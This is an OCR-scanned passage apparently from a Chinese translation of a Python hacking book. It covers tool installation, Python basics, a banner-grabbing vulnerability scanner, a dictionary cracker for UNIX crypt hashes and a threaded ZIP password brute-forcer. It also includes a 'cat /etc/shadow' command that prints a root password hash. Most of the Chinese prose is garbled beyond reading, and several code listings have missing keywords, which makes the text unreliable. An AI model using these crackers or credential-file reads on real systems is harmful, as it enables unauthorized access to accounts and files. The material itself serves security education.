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Python [f] F#& %5 (http://www. python. org/download/) $2ft7T Python 7
Windows, Mac 0S X Fl Linux b edefl. REIEITHIE Mac 0S X 5
Linux, Python [FffREds CATNSE LA T RAE Lo WRANFETFIT KA Rt
T Python fBRE#Y, FRAEFERDLASWEREL,  Python ARl AT P B ALHE AL
DIRea ) vz, RN ENEERER, R, FFMEEs, SO
Dige,

MRS, SEERFTEAENE, WEPLE, 5 1P YL E, VT
Z A I, [N, FEPPIT R 0] MR 2 M 2 AT AT 58 — 07 A
=T AN TR RS R AT AE (http://pypi. python. org/pypi/) FHE

BER=FFE
ESR"EF , A MSFIA python RY python-nmap BIRALIERY NMAP RYZEER,
TEAIGIFEIR 7R R A% python-nmap & ( SREME(EMAE , BRY) .
—BREXREF 7824 , HIREXIE , AHNEEERNERF.
ETRS , Befi AT python setup.py a5k %% python-nmap &, &iEX
ZHE=SERBERETH , #2E , 34T python setup.py < TRERATE
BRI,
programmer:~# wget http://xael.org/norman/python/python-nmap/python-
nmap-0.2.4.tar.gz-On map.tar.gz
--2012-04-24 15:51:51--http://xael.org/norman/python/python-nmap/
python-nmap-0.2.4.tar.gz
Resolving xael.org... 194.36.166.10


http://pypi.python.org/pypi/

Connecting to xael.org|194.36.166.10]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 29620 (29K) [application/x-gzip]

Saving to: 'nmap.tar.gz'

=============3>] 29,620 60.8K/s in 0.5s

2012-04-24 15:51:52 (60.8 KB/s) - 'nmap.tar.gz' saved [29620/29620]
programmer:~# tar -xzf nmap.tar.gz

programmer:~# cd python-nmap-0.2.4/
programmer:~/python-nmap-0.2.4# python setup.py install

running install

running build

running build_py

creating build

creating build/lib.linux-x86_64-2.6

creating build/lib.linux-x86_64-2.6/nmap

copying nmap/__init__.py -> build/lib.linux-x86_64-2.6/nmap
copying nmap/example.py -> build/lib.linux-x86_64-2.6/nmap
copying nmap/nmap.py -> build/lib.linux-x86_64-2.6/nmap

running install_lib

creating /usr/local/lib/python2.6/dist-packages/nmap

copying build/lib.linux-x86_64-2.6/nmap/__init__.py -> /usr/local/lib/
python2.6/dist-packages/nmap

copying build/lib.linux-x86_64-2.6/nmap/example.py -> /usr/local/lib/
python2.6/dist-packages/nmap

copying build/lib.linux-x86_64-2.6/nmap/nmap.py -> /usr/local/lib/
python2.6/dist-packages/nmap

byte-compiling /usr/local/lib/python2.6/dist-packages/nmap/__init__.py



to __init__.pyc
byte-compiling /usr/local/lib/python2.6/dist-packages/nmap/example.py
to example.pyc
byte-compiling /usr/local/lib/python2.6/dist-packages/nmap/nmap.py to
nmap.pyc
running install_egg_info
Writing /usr/local/lib/python2.6/dist-packages/python_nmap-0.2.4.egg-
info
AT BEEEEERRIZ % python BIE , python FRLT easy_install &RER, =T
BEIERRIZEIER | RS python EEFRSHIXME , INRAIMN THEH Bkl
programmer:~ # easy_install python-nmap
Searching for python-nmap
Readinghttp://pypi.python.org/simple/python-nmap/
Readinghttp://xael.org/norman/python/python-nmap/
Best match: python-nmap 0.2.4
Downloadinghttp://xael.org/norman/python/python-nmap/python-nmap-
0.2.4.tar.gz
Processing python-nmap-0.2.4.tar.gz
Running python-nmap-0.2.4/setup.py -q bdist_egg --dist-dir /tmp/easy_
install-rtyUSS/python-nmap-0.2.4/egg-dist-tmp-EOPENs
zip_safe flag not set; analyzing archive contents...
Adding python-nmap 0.2.4 to easy-install.pth file
Installed /usr/local/lib/python2.6/dist-packages/python_nmap-0.2.4-
py2.6.egg
Processing dependencies for python-nmap
Finished processing dependencies for python-nmap
N T RIEEESI— MRS | Bl JEIEM http://www.backtrack-

linux.org/downloads/ F&E=#THY BackTrack Linux B2 ENIH EREVE SR, iRt
TEEHSEMLTE |, 5lu0 forensic , Web , REDFRIFTLNE. ZBHNMIF



th, AJRESAE—LEREREE BackTrack W TEEE, SEAPHGIFH , EER
EFNEENNERR ZIMIBE =S ERHE | XEBSIRHEEA T ERLE,

RE—MTAIMRRT | B8 FEIFATERNXEE=SRRSEER. &
BackTrack | , (EETLUBITHUT easy_install SRLEMMBZNIE |, GRTE
Linux T , PERZEBIFHREREIRE,

programmer:~ # easy_install pyPdf python-nmap pygeoip mechanize

BeautifulSoup4

FEREMART—LERAIAEEM easy_install FERMNET E. SOLUEREOER

2y NETRRX L,

attacker# apt-get install python-bluez bluetooth python-obexftp

Reading package lists... Done

Building dependency tree

Reading state information... Done

<..SNIPPED..>

Unpacking bluetooth (from .../bluetooth_4.60-Oubuntu8_all.deb)

Selecting previously deselected package python-bluez.

Unpacking python-bluez (from .../python-bluez_0.18-1_amd64.deb)

Setting up bluetooth (4.60-Oubuntu8) ...

Setting up python-bluez (0.18-1) ...

Processing triggers for python-central
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van Rossum iI{ESIERBHERESTEE—H , XMTAFTHET python 2x IRASZ /5
IRARIFREME |, FISNTEEXT prin iIETRIER, FEABLARAT , BackTrack 5 R2 15
Python 2.6.5 {E/9%2%ERY python hR7R,

programmer# python -V

Python 2.6.5

fARA python VS AZH A python


http://www.python.org/getit/

L AR IATE 528100, Python 2—FHERREUES., HIEfTHY , MRESEBAEH
HATHE , J97E python fERESRRIBERR | Fe((15— .py XHESRFJED “Hello World”,

KT EBXANER , BB python ERSE6IE—NETEIRIA,

programmer# echo print \"Hello World\" > hello.py
programmer# python hello.py
Hello World

ItE5h , python EEREREN , FEFFIRIHIMAILUER python fi#igss | HERSHRE
2 . BRI  ERTAEESAESHIVT python | IEERESRS
EW—>>>FEEFRID , RS <ST. EXE , EFRRIHHHEA print
“Hello World”, & FEI%ESS , python REFFREEESMIEIHITIZIED.

programmer# python

Python 2.6.5 (r265:79063, Apr 16 2010, 13:57:41)

[GCC 4.4.3] on linux2

>>>
>>> print "Hello World"

Hello World
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Python iE5

ETENAET  RISHEEZE |, HIERE , FHH |, SFERED |, W5,
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£ python 1 , TEXIRIASIRRIENAS , XFMENGE-RRETLEEARR
ROIE , WNEEEY | L8, f7R(E , 98 | SNESRIEEREN | ANy R, £
TERIREF , BIIEX N FEBEAIZEN— M EEFHBRERER  ATE
XN ZEIEEE— N FRTERT , Bl IR strOREL.

>>> port = 21

>>> banner = "FreeFloat FTP Server"

>>> print "[+] Checking for "+banner+" on port "+str(port)

[+] Checking for FreeFloat FTP Server on port 21

SEFRITHTERZERS | python MIXELTERT 7T AFETE., BRI
AT ERIEE | 1B/ , python fRREERIRE 1 R EREYIERFHAMIRERIZER
K, BETERIGIF , FANERNFRT — M F/RSE  — DB, —IIR—
/(B | RS EP B RIERRYIRE T8N T ENKE,

>>> banner = "FreeFloat FTP Server" # A string

>>> type(banner)

<type 'str'>

>>> port = 21 # An integer

>>> type(port)

<type 'int'>

>>> portlList=[21,22,80,110] # A list

>>> type(portList)

<type 'list'>

>>> portOpen = True # A boolean

>>> type(portOpen)

<type 'bool'>

FiIh



7E python FRRFERIESIRMH T —RIFIEEBANFRRBIES L. FhE
http://docs.python.org/library/string.htm| _EASFE;AFIZEAY python STAY.

IHBATRE N EREE, B FERLTEIRE, uper)  J5REFRE
MNSERENAETE , lower I &R B A BER AN,
replace(old,new)75EIEFHFFERHRY old(IBFFFER) Biepk new(Fr=FFeR) , find()73i%
GNFFFER P ER B SIEERIFFRE.

>>> banner = "FreeFloat FTP Server"

>>> print banner.upper()

FREEFLOAT FTP SERVER

>>> print banner.lower()

freefloat ftp server

>>> print banner.replace('FreeFloat’,'Ability")

Ability FTP Server

>>> print banner.find('"FTP")

10
1B
Python HOBEEEI—FIS , 1R T —FiPhE—E0RNS . F2RIRHIT

AL EAEUERARPIR, B, B—ERERRFFIRRITIE |, HIUNR
oo, MR, FEA SR, SRENERS|, H#EF , 1HE, HEFERIREE. 1B5E FERYS
¥, —MEFBEER append )IRNINTTERFEIL— IR | FTEIIE | ARE
B HRE (A, ERit)mel LIREARTRINERS| ( BIantEpIay
80) , A , IEERITTERB AL, (FIANEEGIRRT 443)

>>> portList = []

>>> portList.append(21)

>>> portList.append(80)

>>> portList.append(443)

>>> portList.append(25)

>>> print portList

[21, 80, 443, 25]

>>> portList.sort()



>>> print portList

[21, 25, 80, 443]

>>> pos = portList.index(80)

>>> print "[+] There are "+str(pos)+" ports to scan before 80."
[+] There are 2 ports to scan before 80.

>>> portList.remove(443)

>>> print portList

[21, 25, 80]

>>> cnt = len(portList)

>>> print "[+] Scanning "+str(cnt)+" Total Ports."

[+] Scanning 3 Total Ports.

T

Python RIIRE—F 8 |, IR T — AT LIFME(E(IELE python WSRAIEHR.
FEFITTRABIERRMN | ISR IR FHAE python R
B, ZJEEER TCPinLRE , AFHEaE MNrANNAENNRSESRERA.
B —FE, BAIREERAR ftp XHFRYEFIRElRCREAE 21.

SHAVE—FEN |, 3 TRINMGHARE ST, B, RIBESHRITE.
TR keysOXNTIIEBIREIFHEAIFFERIIFIZE | itemsORXNTEKIREFHENTT
SRR, BETR, BNWITIFRERYS TIEEIE(ftp) , HEER , &
21iR[ET,

>>> services = {'ftp':21,'ssh':22,'smtp': 25, 'http':80}
>>> services.keys()

['ftp', 'smtp’, 'ssh’, 'http']

>>> services.items()

[('ftp', 21), ('smtp', 25), (‘ssh', 22), ('http’, 80)]

>>> services.has_key('ftp')

True

>>> services|['ftp']



21
>>> print "[+] Found vuln with FTP on port "+str(services['ftp'])

[+] Found vuln with FTP on port 21

T

IR T —NETLUE python BEXZEZAIE, ILBIREIRE— %
BIRRERIMA | EEENEE IP itfNim /5 , FAINMASSHTENERER 25 |
HeAIfsEF connect()RRELERZR IP sthlitflim ], —BiERAIN , M LB EZEFit
1TES. XM recv(102DRIDERIERNZ REERZFT 1024 FHRVEEE. Bl iEixX
BRNERFRE—TES , ASHTENEIIRS S,

>>> import socket

>>> socket.setdefaulttimeout(2)

>>> s = socket.socket()

>>> s.connect(("192.168.95.148",21))

>>> ans = s.recv(1024)

>>> print ans

220 FreeFloat Ftp Server (Version 1.00).
15

BRSERIZIES—HF | python BT RBRFRISR |, BY ifiE6 , HE—E
HERIATURFIMTERERIER, HRESTAINEA |, 1ERE , EEEER FTP RS
RED DX IWERN. BHEIX—R , FIEERHNNERMENNZ ZIER
FTP ARSS2RARAELLER.

>>> import socket

>>> socket.setdefaulttimeout(2)

>>> s = socket.socket()

>>> s.connect(("192.168.95.148",21))

>>> ans = s.recv(1024)

>>> if ("FreeFloat Ftp Server (Version 1.00)" in ans):
. print "[+] FreeFloat FTP Server is vulnerable."

...elif ("3Com 3CDaemon FTP Server Version 2.0" in banner):



.. print "[+] 3CDaemon FTP Server is vulnerable.
.. elif ("Ability Server 2.34" in banner):

.. print "[+] Ability FTP Server is vulnerable."

.. elif ("Sami FTP Server 2.0.2" in banner):

.. print "[+] Sami FTP Server is vulnerable."

.. else:

.. print "[-] FTP Server is not vulnerable."

[+] FreeFloat FTP Server is vulnerable."

SELE

BIfE—MEFRITTRENEREI AL | IZEF DR Bea TEI TR R R,
ERLHP—FNEITIEHR—FRUUET, EATAEEMEREL , ATLA python fEREEE RR—
FHR | IBEREEEFMERID  ZEREREFELEHNIT. >>> print 1337/0

Traceback (most recent call last):

File "<stdin>", line 1, in <module>

ZeroDivisionError: integer division or modulo by ze
RN VEEFATURATEERLEER | SXIEITHRERFEARIETE ?
python IESRHRISFEIEREE N AT LUXFEM, ILEAIREFmEAIGF , FER
try/except HITHEGE, AEEFHXERUE., SERAER , BIINFELCERX
EIRFHEERERITENRIER L.

>>> try:
... print "[+] 1337/0 = "+str(1337/0)
... except:

... print "[-] Error. "

[-] Error

>>>



FENR | XETHAFFEPHXTERIRECENER. BENFHSIRER |,
XAIREREH | EMEIX—R , HIVEFEEREERI—ZED , KITHNHRERE
ISH
>>> try:
... print "[+] 1337/0 = "+str(1337/0)
... except Exception, e:

... print "[-] Error = "+str(e)

[-] Error = integer division or modulo by zero

>>>

W, UEFANRFELIEREFEARMAE | BNIARBEGIEENSEZAEEE
¥, TR, BANERR—GETE TCP imH 21 EFFL FTP RSSHIMESE. QIRFIF
FERER , BRI —RERRRPNBEZRFEN. AfF , HIIERTLL

FER
T T,

>>> import socket
>>> socket.setdefaulttimeout(2)
>>> s = socket.socket()
>>> try:
... s.connect(("192.168.95.149",21))
... except Exception, e:

... print "[-] Error = "+str(e)

[-] Error = Operation timed out

BEARBH , ILFRNIAFRE—NERECEEXNES | BT 5RRRASFEEFRN
S A FTEHRRESY , RIIELAES/NIAERRINT SEIE | B UBAIID
(REFTXFA , FHEBRUNREMEESZREEIML L,

Z5Es
£ python &, REURM THEGTRY , IREFERIIBRER. BE , XAHEFR
THAS RS TERIRE KERAI T A



RE python I TIFERERE , EFRITIMAATLIBIEEENAIRE, KEF
def)FFR T — 1 REL , BRRHTRI LUBHIEERENESE, XLTEMEHEE
XSRS RE N ERIX LT EBRYEAIZ | EPSFITERRIRERIE. AT
10 FTP RIRISHEEE 001 | LR IOl — N EREORIVT RIS FTP RS SRR
[EIRMER

import socket

def retBanner(ip, port):

try:

socket.setdefaulttimeout(2)

s = socket.socket()

s.connect((ip, port))

banner = s.recv(1024)

return banner

except:

return

def main():

ipl = '192.168.95.148'

ip2 = '192.168.95.149'

port = 21

bannerl = retBanner(ip1, port)

if banner1l:

print '[+] "+ ipl + - ' + bannerl

banner2 = retBanner(ip2, port)

if banner2:

print '[+] "+ ip2 + ": ' + banner2

if _name__ =="'_main__"

main()

FREERE  FINHNAFESCNFEREIEFEI TR, XRIRT R
ROBR—EAIARRME. 1ZEREK checkVulns()RBRIBRIE B RXIIRS SR AT T7)
BT



import socket

def retBanner(ip, port):

try:

socket.setdefaulttimeout(2)

s = socket.socket()

s.connect((ip, port))

banner = s.recv(1024)

return banner

except:

return

def checkVulns(banner):

if 'FreeFloat Ftp Server (Version 1.00)' in banner:
print '[+] FreeFloat FTP Server is vulnerable.'
elif '3Com 3CDaemon FTP Server Version 2.0' in banner:
print '[+] 3CDaemon FTP Server is vulnerable.'
elif 'Ability Server 2.34' in banner:

print '[+] Ability FTP Server is vulnerable.'

elif 'Sami FTP Server 2.0.2" in banner:

print '[+] Sami FTP Server is vulnerable.’

else:

print '[-] FTP Server is not vulnerable.'

return

def main():

ipl = '192.168.95.148'

ip2 = '192.168.95.149'

ip3 = '192.168.95.150'

port = 21

bannerl = retBanner(ip1, port)

if banner1:



print '[+] '+ ipl + "1 ' + bannerl.strip("\n")
checkVulns(bannerl)

banner2 = retBanner(ip2, port)

if banner2:

print '[+] "+ ip2 + "1 ' + banner2.strip("\n")
checkVulns(banner2)

banner3 = retBanner(ip3, port)

if banner3:

print '[+] '+ ip3 + "1 ' + banner3.strip("\n")

checkVulns(banner3)

if _name__ =="'_main__"

main()

&R
E—Eh, (RETEEARIBAVIFES SRS THEEAORE | SRIBU=AREL 1P its
i,

KEBEREM—MUE | £ for BIMERZ N TTRSENEZ. E0M01F : RHT(VEE
FUZEANEEZN TP R 192.168.98.1 F 192.168.95.254 B9FK , FAJEH— for &
I 1B 255 HATIEA | SRATEDHFRARRIER.

>>> for x in range(1,255):

. print "192.168.95."+str(x)

192.168.95.1
192.168.95.2
192.168.95.3
192.168.95.4
192.168.95.5
192.168.95.6

... <SNIPPED> ...
192.168.95.253



192.168.95.254

Bt FITERERHENNRAFIFRFNERR. KB—RFREF , FITLL
BE— P ITERFIRBH ).

>>> portList = [21,22,25,80,110]

>>> for port in portList:

. print port

21
22
25
80
110

HRE 1A for 838 , MEFKATRTLFTEDHEA IP EUANuRO T .
>>> for x in range(1,255):

... for port in portList:

... print "[+] Checking 192.168.95."\

+str(x)+": "+str(port)

[+] Checking 192.168.95.1:21
[+] Checking 192.168.95.1:22
[+] Checking 192.168.95.1:25
[+] Checking 192.168.95.1:80
[+] Checking 192.168.95.1:110
[+] Checking 192.168.95.2:21
[+] Checking 192.168.95.2:22
[+] Checking 192.168.95.2:25
[+] Checking 192.168.95.2:80
[+] Checking 192.168.95.2:110
<... SNIPPED ...>



WEERERE TIER IP MlinAEES , FAIEB N EHRBAINREEUEA , T,
BAINRIAE MR 20 254 4 IP etk AR {HAY telnet, SSH, smtp, http,
imap, and https IRS%.

import socket

def retBanner(ip, port):

try:

socket.setdefaulttimeout(2)

s = socket.socket()

s.connect((ip, port))

banner = s.recv(1024)
return banner

except:

return

def checkVulns(banner):

if 'FreeFloat Ftp Server (Version 1.00)' in banner:

print '[+] FreeFloat FTP Server is vulnerable.'

elif '3Com 3CDaemon FTP Server Version 2.0' in banner:

print '[+] 3CDaemon FTP Server is vulnerable.'

elif 'Ability Server 2.34' in banner:

print '[+] Ability FTP Server is vulnerable.'

elif 'Sami FTP Server 2.0.2" in banner:

print '[+] Sami FTP Server is vulnerable.’

else:

print '[-] FTP Server is not vulnerable.'

return

def main():

portList = [21,22,25,80,110,443]

for x in range(1, 255):

ip ='192.168.95." + str(x)

for port in portList:



banner = retBanner(ip, port)
if banner:
print '[+] "'+ ip + ' ' + banner

checkVulns(banner)

if _name__ =='_main__"

main()

Xf##1/0

BTN ARESE T LR IRRERN if i80 , ENH—NRRFIRS
BIF , BT, BIgEATE— UM vuln_banners.txt BIXAI . FEE—1TZX
H5H T BARRIRS IRAFIERAZRIRNRR |, FAIATEEE— RN If 5,
IEBANERUX AN A | F AR R AR NMEEFERE.

programmer$ cat vuln_banners.txt

3Com 3CDaemon FTP Server Version 2.0

Ability Server 2.34

CCProxy Telnet Service Ready

ESMTP TABS Mail Server for Windows NT

FreeFloat Ftp Server (Version 1.00)

IMAP4revl MDaemon 9.6.4 ready

MailEnable Service, Version: 0-1.54

NetDecision-HTTP-Server 1.0

PSO Proxy 0.9

SAMBAR

Sami FTP Server 2.0.2

Spipe 1.0

TelSrv 1.5

WDaemon 6.8.5

WinGate 6.1.1

Xitami

YahooPOPs! Simple Mail Transfer Service Ready



BAVESIBRNEIEAM ISR REL checkVulns()F, TEXER(VGARIEER
(PTFIARSI, $ATREFRREL readlinesiEHSHHIE—IT , X}EB—17 , FAHEME
SHEANRNMERIFILR | IFEFMAEE strip(\r) EeS{THRIESR , IRA
WL T , HAFTEPHBERRERIRSER.

def checkVulns(banner):

f = open("vuln_banners.txt",'r")

for line in f.readlines():

if line.strip("\n') in banner:

print "[+] Server is vulnerable: "+banner.strip("\n')

SYS &R

WEHRY sys BHUREIBRIFI4ER python fEFEESHUEEN. XBIETIRRER | A,
EHRSAE , IBER | BEREF  WERR |, inERANBHRNEMFIERESER
I SITEEL. (REEETE python FUEZIEIRSE LI EIFE Z SIEXRIER

( http://docs.python.org/library/sys ) . £z python AR S sys R BHS 19
BR. H1AILL, 0, BEEFETIETESITEH. BETRNNREEMESS |

WMRBNEEE AN B E R SITEHUE RS RARER ? R sys.argv €
BT MRS SH. B —1ERS sys.argv[01BET python BIZEREEEAIZIR, 5
FHPRRNUTEEES TUTE2ERIESTEE. Bt , NRFIREEEMMNSEL
sys.argv MiZ8 2 N T,

import sys

if len(sys.argv)==2:

filename = sys.argv[1]

print "[+] Reading Vulnerabilities From: "+filename

EITRAIRRB AR | BAIBZIRBRTHRIRET 7 as TS EGHEHATENR T =
L. IRATLAERIERE S T 28R sys RBRIBHERTE iR PRI ERITHEE.

programmer$ python vuln-scanner.py vuln-banners.txt

[+] Reading Vulnerabilities From: vuln-banners.tx

OS &R



WERY OS HEIRM TEEZRIS MAC,NT,Posix S ERFHTRERIRES, XME
RAVFERII SIRERAIE, SRS , PSRRI RE, BE—
T tban , E—F , ARIEXHRIFEASITSECKER. R LISIENHESE
HELR MBI R TR XA, MR , EET—RES  RKEF—1
ESAEREREARF.
import sys
import os
if len(sys.argv) == 2:
filename = sys.argv[1]
if not os.path.isfile(filename):
print '[-] ' + filename + ' does not exist.'
exit(0)
if not os.access(filename, 0s.R_OK):
print '[-] ' + filename + ' access denied.'
exit(0)
print '[+] Reading Vulnerabilities From: ' + filename

ATEEFAIRMES | FNZER— MRS | 2 SUHHERARIERFIED
HTHERER BT, FNEEXANUG | FAIREIARIIANER 7. &EFA)
PRI TINER | BRI AERRRIFTED THE4E1HDRTER.
programmer$ python test.py vuln-banners.txt
[-] vuln-banners.txt does not exist.
programmer$ touch vuln-banners.txt
programmer$ python test.py vuln-banners.txt
[+] Reading Vulnerabilities From: vuln-banners.txt
programmer$ chmod 000 vuln-banners.txt
programmer$ python test.py vuln-banners.txt
[-] vuln-banners.txt access denied

MEFA T UEFHESRRIAEFIISZI RS, FTRBMISERRIEEER
1TRYER D EFREAZRIRE DR EIF RIS s SATRIBED | B IS EEAIETIREL
BUHIX NI

Import socket



import os

import sys

def retBanner(ip, port):

try:

socket.setdefaulttimeout(2)

s = socket.socket()

s.connect((ip, port))

banner = s.recv(1024)

return banner

except:

return

def checkVulns(banner, filename):
f = open(filename, 'r')

for line in f.readlines():

if line.strip("\n') in banner:

print '[+] Server is vulnerable: ' +\
banner.strip("\n")

def main():

if len(sys.argv) == 2:

filename = sys.argv[1]

if not os.path.isfile(filename):
print '[-] ' + filename +\

" does not exist.'

exit(0)

if not os.access(filename, 0s.R_OK):
print '[-] ' + filename +\

" access denied.’

exit(0)

else:

print '[-] Usage: ' + str(sys.argv[0]) +\



' <vuln filename>'

exit(0)

portList = [21,22,25,80,110,443]
for x in range(147, 150):

ip ="192.168.95." + str(x)

for port in portList:

banner = retBanner(ip, port)

if banner:

print [+] "'+ ip + "1 ' + banner

checkVulns(banner, filename)

if _name__ =='_main__"
main()
{RRIRISE—A Python 2

BEE T % 7 a{A4EEE python B | iEFRAIFHASRHAINE—NMERF. HEF(IE/
AT, B NSHIA—LIREIRSE | BRI ANRE.

SMFHB—MERIRMYANTFS

C. Stoll B9 (#tE5ER) (1989)EFRFTIRERAIFFLLZ(E. EERICREE
MEERTERAT—R., BSREEAMERNEREEFHEE  FEKTH
TTEENTSR. 125 NREANRZRIMHE. Stoll 2% {EHr{HFHISE
WENRNFRMEAREER, 1986 F8 , — XK 75 ESRIKEEIRS|
ETRIER  HFEEXRARERNHIANEIET , FREA— T E5GER
RUFBARIENRSE., HMAINEE R RMEREPURR. IIEANEE , £58X
BRINERTZERR. HELEE , LIRBEIERATRE, —1ZMNSEE
KEFRFRT |, FESH FBL. CIA, Suig®). FHSHRREEESE. (HESE) 79
[ERAEEFREE 7 — T/ | BRSRERNRREE. MEEFRTH



B2 —MNEFFIESRMIERE , RAERZEHENNS | SHRBIXF
RFHEERIRE

(ZHECELBERENEFENRA , JUEERSS )

TEStBE ; http://pan.baidu.com/s/1kTCNWMF %385 ug42

{FRISE—MER . —1 UNIX Z2iSHRAFRS !

BAIREERMERETRY crypt 59 cryptOREL. (EANZEREFIERRNA],

IEBA TR —II A cryptOREIS R — DRI | Fel(JBANERS "egg M
#h"HX" , IRENEFHEIHER "HXILLTdC/JIDE” , EBATAILUERENFEH |
I E R BV R LA AR A 2T |

>>>import crypt
>>>crypt.crypt(‘egg’, ‘HX")
“HX9LLTdc/jiDE"

>>>
IR IRRERRIRIAAMERAIRINA , XER(IWRREREMAL
BRFOWED , —SoRIFFH , B—Ho2RHILEER , {UBaT

mnmnn

R NFMUNIXNZR , EEH A FHE A MUNIXE 258 X4

mnmnn

crypt
testPass(cryptPass):

salt = cryptPass[0:2]
dictfile = ('dictionary.txt', 'r')
word in dictfile.readlines():

word = word.strip("\n')
cryptWord = crypt.crypt(word, salt)
cryptPass == cryptWord:



http://pan.baidu.com/s/1kTCNwMF%20%E5%AF%86%E7%A0%81ug42
http://pan.baidu.com/s/1kTCNwMF%20%E5%AF%86%E7%A0%81ug42
http://pan.baidu.com/s/1kTCNwMF%20%E5%AF%86%E7%A0%81ug42
http://pan.baidu.com/s/1kTCNwMF%20%E5%AF%86%E7%A0%81ug42

('Found passed : ', word)
("Password not found !")

main():

LI DA |

passfile = ('passwords.txt', 'r')

line in passfile.readlines():
user = line.split(":")[0]
cryptPass = line.split(":")[ 1 ].strip(")

("Cracking Password For :", user)
testPass(cryptPass)

' '

__name ==' main_ "

main()

ERIABIXNIX RFEERSFETL/etc/shadow X+ |, IRETIHNERERY
57 EFIEIL SHA-512 &% , Python BUARERER hashlib #&2HURE 7 ILEGX |
AT AT ERA IO |, AR SHA-512 IS &8N ELARI221D,
root@DJ-PC:/home/dj# cat /etc/shadow | grep root

root:$6$t0dy7TXs$mIxj1Ydfx83Eg0b7ry1etUQA8g7GliedT2DInILhiEunizJ1AAzS
zQLfzV5]17D0MsZVwUVjP/0KHGV5Ue33F1:16411:0:99999:7:::

(RSB —/MER : ZIP X4 oiAR

Python BUtRAERERREL T ZIP SUARVIRENELSBELR zipfile , BELLFRATHERIX
MER |, EREEINZER ZIP 324 !

A TRTLARE extractall)iXNREGHESL , ZREIEMRNERE R , B
NHEE,

BAERAITLUEIN—ET08E | 5 LERIBRLIEEFEMNSEAZHIER | KIS
ISETER

PNEFAUBAIT | iERRE N SREREAAD




P B 2 DB AR Z1P I 48 S M 55

mnmn

zipfile

threading
extractFile(zFile, password):

zFile.extractall( =password)

("Found Passwd : ", password)
password

main():
zFile = zipfile.ZipFile('unzip.zip')
passFile = (‘dictionary.txt')
line in passFile.readlines():
password = line.strip("\n")
t = threading. Thread( =extractFile =(zFile, password))
t.start()
guess = extractFile(zFile, password)
if guess:
print('Password ="', password)
return
else:
print("can't find password")
return

mnmn

! !

__name _==' main_ "
main()

WE , FAVERPILUSEEEARIISUGMTE | Bl JFEEE) Python ftERE
HRAY optparse IRIRFKISTESEL | BFRUHRSE F—=ifE | IXEIRNREM
AHIRIAES




ZIPEB AR IR , AP Al E S e E R BRI
MR TE  SEERE

mnmnn

zipfile

threading

optparse
extractFile(zFile, password):

zFile.extractall( =password)
("Found Passwd : ", password)

main():
parser = optparse.OptionParser(‘usage%prog -f <zipfile> -d
<dictionary>")
parser.add_option('-f ='zname' ='string' ='specify
zip file")
parser.add option('-d' ='dname' ='string’' ='specify
dictionary file'")
options, args = parser.parse_args()
options.zname == | options.dname ==
(parser.usage)

(0)

zname = options.zname
dname = options.dname
zFile = zipfile.ZipFile(zname)
dFile = (dname, 'r')
line in dFile.readlines():
password = line.strip("\n'")
t = threading. Thread( =extractFile =(zFile, password))
t.start()
__name _==' main_ "
main()




REHATHIANIRT Python RIEARZ , 57— UNIX RUZRBHARRRFN ZIP 3
HERDMARRS | T—RI(ER Python iH—LRISENI !

$ 285 ZiENR
AEAS :

LR — MmO 8=

2 ¥3952— SSH BYEF MZ&
3.8 FTP 1&% WEB ki&1E

4 27 Conficker I £E8

5. 5{RA9ZE— 0day FIFES



W— DI AR—HERSE. XE—BRALRN. SFERRNEwRE—
203, IREAETRHMERLT , BGIRAETRIETEER 2118
CRAX B !

—LKokoro by Natsume Sosek ( EB#A ), 1914, Japan ( HA )

5|} : Morris iERiEE—USHASBHRA ?

£ StuxNet $E SRR 7 (FEATE Bushehr #] Natantz ( ith45 ) R9Zan009
22 TRl , —MNERFERAZIHREELE TE R "$FIFR" . Robert
Tappen Morris Jr ( B{F-RESHT ) , ERTEBERITENZEHORIRE
ABILF , FB—Fp IS tFR s Morris $EFRAYB SRR T 6000 N T{EiY,
6000 N LELESKAWNE MUFHARE | B7E 1988 F , XMFHERT
INEBEN EREITENNESZ 1. AT ERERIRIERRSE NIMGE |
SERAFRISEFRE T 100000000 STl ERITRE. ARAXFIERFSZE0
A TIERE ?

REBRHRRIE R SR 7 =85 FTNBEA KRB RR. EEEFAT
UNIX 9 sendmail Z2FRIIERE. EUR , AT Unix REETFIFHETNRER—
MRUSBIRE. &5, B —LERNARSED |, iEEER R
A2 shell B9B#R (RSH) . MIRX=IRWEINHIT | BREA—1V\1IE
P &IF—HHER(Eichin & Rochlis, 1989)AURIRE D ALK,

SIEMRNEINSRASBRRA ? FgeFIE R/ LV FHER—EHREA ?
XERHARERIREBHFATLLRM T EA. REHA CIESRS 7K
MOWERM. e, CIEER—TFERANES | FIMHEEEE&IER.
SIHREFIAXILLRYR | python EEEBZ TERBINEFNFENE=771&
R, XRETNEFRIFEESST | AFRILRSHITAERBEIATZRIAERIN



F. EETRONEF , ISR python REFIZEEEIERAERSE
.

tEE— MRS

MEREANESKENFE—L. EEFBirrimET AERZAIBEE Yk
HimEER. £ FENETS , BANEL—VNERNER S ARAEBR R
FHFHE TCPimOA. M , TS TCPimAFHTRE , BIFE/REL
TCP EZF,

Python , GRS EIMNRIEES —F , IBAL 7019 BCD EEFRIZEN.

BCD EFFRME T — I NAREFRIZEEN | RIHEFRIRESNREF BT
FHZ BRI ET. BIT—FFIAY socket API &) , FATATLAGIE |, 48%& |
B, EERERERER TCP/IPEEF L, AX—R L, BiFfVERE
TCP/IP #1 socket 297 #BIRAENNIE—PRIAEHATE CRIBE.

RZHHY Internet IHRIFERFRE TCP Z LAY, flaN , —NEIRER , Web g
SSAJREIZTTHE TCP 1Y 80 iImMz | BRAARSS AIREIETT4E TCP AY 25 imZz L |
N ERIARSS AT REIE TE TCP RY 21 im0z b, AT EEBRARANXLRS |
B WIRNIE Internet MY ATHBIEAT SBRSSTEARAT TCP i, XFEIRALR
AEBRIATTREAXLER |, (BEREERRERE.

WHEEEEROAER RIS ERENFRE. —FREm O
BRIE— TCP SYN BEHEE2 T —&FRIERNROFZERF TCP ACK i |,
MNMFEErR RS, Btk , B UB— N 2EFMMYE TCP iEEAH
kHEiRS HE IR ORI .

TCP £iEERE

A IFHRmETAIE CH TCP inO138Ess | FIA TCP i RiRAIE
M. B, EAIESA Python f§ BCD E#E= API #&1R socket, Socket

API IR 7 —RFIRIRECS ARLIEA M TCP w43, NTRANTHE 1B
&ZE Python BINRAHERESRY |, #BlE : http://docs.Python.org/library/socket.html



http://docs.python.org/library/socket.html

socket.gethostbyname(/ostname) : 1IXMNREUG T A1k IP #etik | a0
www.syngress.com E=iR([E] IPv4 it 69.163.177.2,

socket.gethostbyaddr(jp_address) : IXNMREUEN— IP HBHUEEIR[EI—NTA |
